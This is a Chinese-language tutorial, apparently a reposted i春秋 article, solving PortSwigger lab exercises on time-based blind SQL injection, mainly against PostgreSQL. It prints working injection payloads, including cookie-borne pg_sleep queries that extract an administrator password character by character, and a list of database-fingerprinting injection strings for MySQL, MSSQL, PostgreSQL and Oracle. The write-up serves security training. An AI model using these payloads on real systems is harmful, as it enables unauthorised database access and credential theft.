「Burpsuite练兵场」SQL注入之盲注(下篇)

  • A+
所属分类:安全文章

「Burpsuite练兵场」SQL注入之盲注(下篇)

Burpsuite练兵场系列文章更新啦,今天的内容是延续上期关于SQL注入及相关实验的讲解,对实验感兴趣的小伙伴千万别错过了呦!





上期回顾

「Burpsuite练兵场」SQL注入之盲注(下篇)

「Burpsuite练兵场」SQL注入及相关实验(一)
「Burpsuite练兵场」SQL注入及相关实验(二)
「Burpsuite练兵场」SQL注入之盲注(上篇)


「Burpsuite练兵场」SQL注入之盲注(下篇)


本文是 i 春秋论坛作家「dll_s」表哥原创的Burpsuite练兵场系列文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

「Burpsuite练兵场」SQL注入之盲注(下篇)


实验三:基于时延的SQL盲注


实验要求:通过sql注入产生一个10s的时间延迟。


实验提示:此应用程序跟踪cookie内容以用于分析,并在后台执行的sql语句中包含了该cookie。


「Burpsuite练兵场」SQL注入之盲注(下篇)

这个实验比较简单,我们首先使用时延语句进行数据库类型判断,分析出数据库类型为PostgreSQL。


「Burpsuite练兵场」SQL注入之盲注(下篇)


然后将时延值改为10发送请求完成实验。


这里注意一下插入sql时延注入语句的方式,使用union语句是无效的,这在后面的实验中也要用到。


测试使用的cd.members表结构:

「Burpsuite练兵场」SQL注入之盲注(下篇)

-- 能够成功执行时延的语句
select memid from cd.members where firstname='GUEST' || pg_sleep(3);
select memid from cd.members where firstname='GUEST';SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END
select memid from cd.members where firstname='GUEST';SELECT pg_sleep(3);


-- 返回错误 UNION types integer and void cannot be matched
select memid from cd.members where firstname='GUEST' union SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END  
select memid from cd.members where firstname='GUEST' union SELECT pg_sleep(3)


实验四:通过基于时延的盲注获取数据信息


实验要求:通过sql注入获取administrator账户密码并成功登录。


实验提示:此应用程序跟踪cookie内容以用于分析,并在后台执行的sql语句中包含了该cookie,应用不会返回任何sql注入有关的数据包括语句错误。另外,已知数据库包含一users数据表,含有username和password列数据。


「Burpsuite练兵场」SQL注入之盲注(下篇)


通过提示我们基本可以猜到完成实验需要使用基于时延的判别方式。


首先仍然还是数据库类型判断,类型为PostgreSQL。


「Burpsuite练兵场」SQL注入之盲注(下篇)

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END--

判断用户名是否为administrator


「Burpsuite练兵场」SQL注入之盲注(下篇)

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)>2)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--

爆破密码字段长度,配置Intruder,注意将线程修改为1,多线程会影响报文返回时间。


「Burpsuite练兵场」SQL注入之盲注(下篇)

「Burpsuite练兵场」SQL注入之盲注(下篇)

「Burpsuite练兵场」SQL注入之盲注(下篇)


结果按照响应时间(Columns中设置)排序,可以发现密码长度为20。


「Burpsuite练兵场」SQL注入之盲注(下篇)

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

爆破密码单个字符,配置与之前类似,唯一注意需要将线程修改为1。


爆破结果:


「Burpsuite练兵场」SQL注入之盲注(下篇)


排序密码,登录账户完成实验。


总结


可以发现,由于不同数据库的具体实现不同,我们在实际的SQL注入中所要使用的语句也是不同的,以及有许多具体细节需要注意。


给一个适用于盲注的通用数据库类型判断流程,可以依次使用以下语句进行判断,背后逻辑就不介绍了。

' 字符型注入点测试
'
%20or%201%3D1%20--   Mysql排除语句' or 1=1 --
'
%20or%20'a'%7C%7C'b'%3D'ab'%20--  MSsql排除语句' or 'a'||'b'='ab'--
'
or%201%3A%3Aint%3D1%20--   PostgreSQL确定语句'or 1::int=1 --

如果以上语句均不产出错误,则使用时延盲注进行测试
'
+sleep(3)%23    Mysql判断语句'+sleep(3)#
'
waitfor%20delay%20'0%3A0%3A3'%20--    MSsql判断语句'waitfor delay '0:0:3' --
'
%7C%7Cpg_sleep(3)--   PostgreSQL判断语句'||pg_sleep(3)--


另外,对于Oracle的延时注入非常特殊,网络上传播的主要有如下几种方式:


  • DBMS_LOCK.SLEEP(3):由于它是PL/SQL代码而非SQL代码,因此不能直接将该函数注入子查询中,且Oracle不支持堆叠查询因此就无法进行使用。其次,只有数据库管理员才能使用DBMS_LOCK包。


  • DBMS_PIPE.RECEIVE_MESSAGE('a',3):表示将从管道a读取数据,设置超时时间为3秒。默认情况下该函数被授权给public,并且由于它是一个函数,因此可以被嵌入到SQL查询中。但我在实际验证这一函数时出现了"DBMS_PIPE"."RECEIVE_MESSAGE": invalid identifier错误,经过相关的资料查找发现可能原因是后台数据库并没有安装相关包,或者用户不具备执行DBMS_PIPE的权限。


  • 通过繁复操作产生延时:select count(*) from all_objects 这一类语句的主要问题是容易引起后台管理者发现异常,以及无法控制延时长度。


今天的文章分享,小伙伴们看懂了吗?如果在学习过程中遇到难以理解的地方,可以进群向大佬们求教哦~


快速进群入口

「Burpsuite练兵场」SQL注入之盲注(下篇)

「Burpsuite练兵场」SQL注入之盲注(下篇)


文章素材来源于i春秋社区



往期精选


「Burpsuite练兵场」Portswigger Web Security Academy介绍


「Burpsuite练兵场」第二节:验证机制漏洞


「Burpsuite练兵场」第三节:验证机制漏洞


如果想要系统全面学习网络安全课程,可以报名i春秋培训学院的渗透测试工程师线下就业班北京+成都两地同时开启秋季线下招生,现在报名即可享受开学季超值优惠!

「Burpsuite练兵场」SQL注入之盲注(下篇)


「Burpsuite练兵场」SQL注入之盲注(下篇)


更多课程咨询,识别下方二维码,培训老师一对一为您解答疑惑!


快速咨询入口

「Burpsuite练兵场」SQL注入之盲注(下篇)

「Burpsuite练兵场」SQL注入之盲注(下篇)



因为公众号平台改变了推送规则,文章的更新不再按照推送时间排序,如果想及时查看安全技能相关文章,请这样操作:

1、在每一次阅读后点“在看”;

2、设为星标, 点击公众号名称“i春秋”,再点右上角的“...”,点“设为星标”🌟

 

「Burpsuite练兵场」SQL注入之盲注(下篇)


文末下方点个在看


「Burpsuite练兵场」SQL注入之盲注(下篇)

i春秋官方公众号为大家提供

前沿的网络安全技术

简单易懂的实用工具

紧张刺激的安全竞赛

还有网络安全大讲堂

更多技能等你来解锁

「Burpsuite练兵场」SQL注入之盲注(下篇)


「Burpsuite练兵场」SQL注入之盲注(下篇)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: